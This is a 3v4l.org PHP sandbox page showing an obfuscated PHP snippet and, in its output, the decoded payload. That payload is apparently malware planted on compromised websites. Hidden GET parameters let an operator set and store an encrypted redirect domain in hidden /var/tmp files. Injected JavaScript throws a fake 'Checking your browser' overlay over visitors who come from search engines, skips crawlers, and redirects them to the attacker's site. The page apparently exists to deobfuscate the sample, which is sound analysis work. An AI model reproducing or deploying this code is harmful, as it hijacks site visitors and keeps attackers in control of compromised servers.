3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php function nBMj($NrG) { $NrG=gzinflate(base64_decode($NrG)); for($i=0;$i<strlen($NrG);$i++) { $NrG[$i] = chr(ord($NrG[$i])-1); } var_dump ($NrG); } nBMj("nVgNc9o4E/4B/RVOhovswUcgNCGt63ZSQkkuJA2luZT27cvItgAFYzmyzEcpv/1Wso0NTe96x0xA2tV+6tFqFU2Dz7PS+fvrs8ubwbubs+tWbdDo3rRtVOlduo1mfz7qI2trwVG64HCG+aGYhodbK69a/VQPqOh8Oh5eeidF8lFRcMMfMk6wO9ZLg3bro4YjrTQhS/t1aYb9mBgrOtQjwUMW6ZJuohCPCPcGyLBtu2qsSh6bYhrYoMMbwEL9iYDMJ2IwLE48yokr9FSFpIiYB9Z6DTaVN1/QyTt2s3BmrFF/e/H+Ybxgk/s6+rpn2zd3nY6xcsfEnYBZLOLo31hO7BA/Ilpu67S/OD4jw374Nqw2PraY+2E6K9jKIv3b1VaubixEGD0hv68YLw8PU8J+6sj2gm2+O2ZaOrUiPCNJphOC+d/iXkUk8AYPkW5Y62EcuIKyQIsEgGEA+6wbq5HPHOxrBVSZBShZCiVR7EhPpt6xPqUuZ4JOiW4YJseBp1fNoxPDPDYKHksE/UShYako919FLqeh0MQyJDYSZCEOH/AMJ1T02mcu9nvgJsCwEhFxKchUR6B3gEwk9SPDenWYrH69XwhtwfiIDUjg6iVwBbZD+o+uut86PdHtOv71XZ2/bT++W7aC047fuv9caz+fOVeNvhsOP1/xB3zXHd/Wo+7VHxdX+M+O4NWL0w+929tH5/xxeNPqVvtx9XR6EV02Gjdt9+6YO9F15+Z+7j+ef5peH7de3D/2G2Bi9mn+cNyedPHyaB7Ebff5/N1Vf9nvXLfG3fOz9kkVk37sXYm73t2n84t++0XtaFT9897vM6fuL92wSpq1bsC6pL6I7m+dszqpfb6Xp5+TyEbqOOslaletEn0FgfokSAKGebkMYcOyiu2Ouc64pzhfSvSr8X81g5SoGUAiwYomlxeSWEifNLeT08Q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Rrig0EGl7Cn1PL/g5xTSCx0oqpoajgXLGW7MIwnJkNFthYXN2ezOtqMfsEdjKNvH4QL9a2QqgSmDasLA9aLQz7MBlbjgeHKUJK2oLBa/pmsns6m2hCr1FU8DZIIGsYq/iEBSRKC6E/L44EH2JntQaWXtGotxRfbObKobAJr0hqufGIX7tmGYhfpWDCMB7VaRg0t7G9nW7iFYm/LptuzBG4qoA30pNxgef7bsrtOxXrCiFy60TBDegshl09AngPrv359cgRRysKtOqXFw4MJtxTcGfuIEuFerwgsiaZesZ5s2DG31YdvvQG8ILwtvePTU63TDS58b52qBRqOX2QPrf8H+VleZSQ4DPCUgrH6l7iH1If0slB12ykQc6kJJju2UpK4/tRQkCgx4QP0gf5TIrwsi6U2pmtkmi31P9RpSRpML5E2tXARggN8gqzrpoSTpSoUpvyI4oLqyDs2SWrFpva2h6zO4exN7m9YaWMU2d/OAgy/z1zIxR8ZW7E9FO/8P0c45VNmtaPOHwVAy01jMp8LbCSnZ8M0/IFbrN6+f/QU=");?>
based on Z5MjP
Output for 5.3.22 - 7.2.6
string(4503) " $DOMAIN_FNAME1_7QNG='.SIc7CYwgY';$DOMAIN_FNAME2_7QNG='/var/tmp/.SIc7CYwgY';$KEY_FNAME1='.LX5fId6';$KEY_FNAME2='/var/tmp/.LX5fId6';foreach($_GET as $key=>$value){if(strpos($key,'pagerd_')===0){$domain=read_str($DOMAIN_FNAME1_7QNG,$DOMAIN_FNAME2_7QNG);redirect($domain);return;}}if($_GET['6FoNxbvo73BHOjhxokW3']!==NULL){check_status($DOMAIN_FNAME1_7QNG,$DOMAIN_FNAME2_7QNG);return;}else if($_GET['8Yx5AefYpBp07TEocRmv']!==NULL){$domain=$_GET['8Yx5AefYpBp07TEocRmv'];if($_GET['https']!==NULL){$domain="https://$domain";}else {$domain="http://$domain";}echo $domain;save_str($domain,$DOMAIN_FNAME1_7QNG,$DOMAIN_FNAME2_7QNG);return;}else {send_js();}function store_key(){global $KEY_FNAME1,$KEY_FNAME2;$key=substr(md5(microtime()),rand(0,26),5);save_str($key,$KEY_FNAME1,$KEY_FNAME2);echo "<script type='text/javascript'>localStorage.setItem('key_','$key');</script>";}function xorgo_enc($str){$key='KQzLStQQblMU3rBGqFyEn8LlEWZ1G4vbK7YcpfZKrjaUQhP3sQKJHKaVLtr0H8RSPPqbDqfNEQ0Yu08mHsI77NGcU5rbsMLNWwlqDXmM5E9WqY73rBvXwj5GkQay2wnuGc4wFKYyYLMEhQDAG60aeYudKtUSUXDHYG912g0VWlYob3lycp0eC1QnoQe3xsWPbA3e1ZWY';$res='';for($i=0;$i<strlen($str);$i++){$res.=chr(ord($str[$i])^ord($key[$i]));}return $res;}function enc($str){$res=xorgo_enc($str);$res=base64_encode($res);return $res;}function dec($str){$str=base64_decode($str);$res=xorgo_enc($str);return $res;}function redirect($url){die("<script type='text/javascript'> window.location = '$url' </script>");}function send_js(){echo("<script type='text/javascript'> function start(){function s(e){var t=document.cookie,n=t.indexOf(' '+e+'=');n==-1&&(n=t.indexOf(e+'='));if(n==-1)t=null;else{n=t.indexOf('=',n)+1;var r=t.indexOf(';',n);r==-1&&(r=t.length),t=unescape(t.substring(n,r))}return t}function o(e,t,n){var r=new Date;r.setDate(r.getDate()+n);var i=escape(t)+(n==null?'':'; expires='+r.toUTCString());document.cookie=e+'='+i}function u(){var e=s('referrerRedirectCookie');return e!=null&&e!=''?!0:(o('referrerRedirectCookie','do not redirect',730),!1)}var e=document.referrer,t,n=['',' '],r=['google','yahoo','bing','yandex','baidu','gigablast','soso','blekko','exalead','https','duckduckgo','http'];if(!e)console.log('direct'),u();else for(t=0;t<r.length;++t)if(e.indexOf(r[t])+1&&!u()){var i=navigator.userAgent;if(!i||i.length==0)return;i=i.toLowerCase(),i.indexOf('google')==-1&&i.indexOf('bot')==-1&&i.indexOf('crawl')==-1&&hideWebSite()}}function createPopup(){var e=document.createElement('div');e.style.position='absolute',e.style.width='100%',e.style.height='100%',e.style.left=0,e.style.top=0,e.style.backgroundColor='white',e.style.zIndex=99999,document.body.appendChild(e),e.onclick=function(){window.location=w_location};var t=document.createElement('p');return t.innerText='Checking your browser before accessing '+window.location.host+'...',t.style.textAlign='center',t.style.fontSize='x-large',t.style.position='relative',t.textContent=t.innerText,e.appendChild(t),e}function createButton(){var e=document.createElement('div');return e.style.position='absolute',e.style.top='20%',e.style.left='10%',e.style.right='10%',e.style.width='80%',e.style.border='1px solid black',e.style.textAlign='center',e.style.verticalAlign='middle',e.style.margin='0, auto',e.style.cursor='pointer',e.style.fontSize='xx-large',e.style.borderRadius='5px',e.onclick=function(){window.location=w_location},e.onmouseover=function(){e.style.border='1px solid red',e.style.color='red'},e.onmouseout=function(){e.style.border='1px solid black',e.style.color='black'},e.innerText='Continue',e.textContent=e.innerText,e}var w_location='/?pagerd_' + Math.random().toString(36).substring(7),hideWebSite=function(){var e=createPopup(),t=createButton();e.appendChild(t)},readyStateCheckInterval=setInterval(function(){(document.readyState==='complete'||document.readyState=='interactive')&&clearInterval(readyStateCheckInterval)},10);start(); </script>'");}function check_status($df1,$df2){$domain=read_str($df1,$df2);echo "Domain is: $domain\n";}function read_str($fname1,$fname2){$file=fopen($fname1,'r');$name=$fname1;if(!$file){$name=$fname2;$file=fopen($fname2,'r');}if(!$file){return;die("Could not open file for reading\n");}$str=fread($file,filesize($name));$str=dec($str);fclose($file);return $str;}function save_str($str,$fname1,$fname2){$file=fopen($fname1,'w');if(!$file){$file=fopen($fname2,'w');}if(!$file){return;die("Could not open file for writing\n");}$str=enc($str);fwrite($file,$str);fclose($file);}function save_domain($domain){}?> "